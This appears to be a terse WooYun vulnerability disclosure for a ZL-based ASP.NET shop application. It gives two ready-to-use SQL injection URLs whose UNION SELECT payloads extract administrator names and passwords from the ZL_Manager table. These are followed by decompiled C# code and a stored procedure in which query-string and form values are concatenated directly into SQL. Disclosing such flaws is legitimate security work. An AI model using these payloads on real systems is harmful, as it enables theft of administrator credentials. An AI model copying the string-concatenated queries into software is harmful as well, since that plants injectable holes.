WooYun.org

http://192.168.10.19:9992/3d/sMail.aspx?ShopID=1000000 union/**/ all select/**/  1,2,'3','4','5','6','7','8','9',STUFF(adminPassword , 1, 0, AdminName),11,GETDATE(),13,14,15,GETDATE(),17,18,GETDATE(),20,'21','22' FROM ZL_Manager

if (base.Request.QueryString["ShopID"] != null)
		{
			string text = base.Request.QueryString["ShopID"].ToString();
			this.HiddenField2.Value = text;
			DataTable dataTable = this.bdu.Select_Where(" Dutype=1 and DuShow=" + text, " * ", "");
			if (dataTable.Rows.Count <= 0)
			{
				base.Response.Write("<script>alert('error');location.href='Default.aspx'</script>");
				return;
			}
			this.txtSend.Text = dataTable.Rows[0]["DEmail"].ToString();
		}

public DataTable Select_Where(string strSQL, string strSelect, string Orderby)
{
	string cmdText = "PR_Duser_Select_Where";
	SqlParameter[] array = new SqlParameter[3];
	array[0] = new SqlParameter("@WhereCondition", SqlDbType.NVarChar, 500);
	array[0].Value = strSQL;
	array[1] = new SqlParameter("@SelectCondition", SqlDbType.NVarChar, 500);
	array[1].Value = strSelect;
	array[2] = new SqlParameter("@OrderByExpression", SqlDbType.NVarChar, 250);
	array[2].Value = Orderby;
	return SqlHelper.ExecuteTable(CommandType.StoredProcedure, cmdText, array);
}

SET @SQL = '
SELECT
	' + @SelectCondition + '
FROM
	[dbo].[ZL_Duser]
WHERE
	' + @WhereCondition
IF @OrderByExpression IS NOT NULL AND LEN(@OrderByExpression) > 0
BEGIN
	SET @SQL = @SQL + '
ORDER BY
	' + @OrderByExpression
END

protected void DropDownList3_SelectedIndexChanged(object sender, EventArgs e)
	{
		switch (this.DropDownList2.SelectedIndex)
		{
		case 0:
			this.GetUserData(this.mmbll.GetSend());
			return;
		case 1:
		case 2:
			this.GetUserData(this.mmbll.GetABC(this.DropDownList3.SelectedValue, "1"));
			return;
		case 3:
		case 4:
		case 5:
			break;
		case 6:
			this.GetUserData(this.mmbll.GetSubscribe(this.DropDownList3.SelectedValue, "1"));
			break;
		default:
			return;
		}
	}

public DataTable GetABC(string str, string state)
		{
			string str2 = "";
			if (!string.IsNullOrEmpty(state))
			{
				str2 = " and State='" + state + "'";
			}
			return this.Select_Wheres(" Email like '" + str + "%' " + str2, " * ", "  AddTime desc");
		}

http://192.168.1.107:8885/3d/ShowForm.aspx?shopid=1000 union/**/ all select/**/  1,2,'3','4','5','6','7','8','9',STUFF(adminPassword , 1, 0, AdminName),11,GETDATE(),13,14,15,GETDATE(),17,18,GETDATE(),20,'21','22' FROM ZL_Manager

if (base.Request.QueryString["ShopID"] != null)
		{
			DataTable dataTable = new DataTable();
			this.shopid = base.Request.QueryString["ShopID"].ToString();
			this.Hiddenshopid.Value = this.shopid;
			dataTable = this.bdu.Select_Where(" Dutype=1 and DuShow=" + this.shopid, " * ", "");
			if (dataTable.Rows.Count <= 0)
			{
				DataTable dataTable2 = this.bdsbll.Select_Where("D_ShowUserid=" + this.bubll.GetLogin().UserID.ToString(), "*", "");
				int dShowUserID = DataConverter.CLng(dataTable2.Rows[0]["D_sid"]);
				if (dataTable2.Rows.Count > 0)
				{
					M_DShowUser select = this.bdsbll.GetSelect(dShowUserID);
					select.D_ShopID = 0;
					select.D_Remark = "";
					select.D_ShowX += 2;
					select.D_ShowY += 2;
					select.DupdateTime = DateTime.Now;
					this.bdsbll.GetUpdate(select);
				}
				base.Response.Write("<script>alert('对不起！商店还没有参展商！');window.history.go(-1);</script>");
			}

if (base.Request.QueryString["type"] != null)
		{
			this.md.Caddtime = DateTime.Now;
			this.md.Cadduser = this.user.GetLogin().UserName;
			string text = base.Request.Form.ToString();
			text = base.Server.UrlDecode(text);
			try
			{
				text = BaseClass.FromBase64String(text);
			}
			catch (Exception ex)
			{
				text = ex.ToString() + text;
			}
			if (text.IndexOf("$") > -1)
			{
				string[] array = text.Split(new char[]
				{
					'$'
				}, StringSplitOptions.RemoveEmptyEntries);
				if (base.Request.QueryString["type"].ToString() == "Suser")
				{
					DataTable dataTable = this.bduser.Select_Where(" Dutype=1 and DuShow=" + array[1], " * ", "");
					if (dataTable.Rows.Count > 0)
					{
						this.md.Ctouid = DataConverter.CLng(dataTable.Rows[0]["DUid"].ToString());
					}
					this.dt = this.bduser.Select_Where(" Duid=" + this.md.Ctouid, " * ", "");
					if (this.dt.Rows.Count > 0 && this.mduser.Dislogin == 0)
					{
						this.mduser.Dmessage = this.mduser.Dmessage + 1;
					}
				}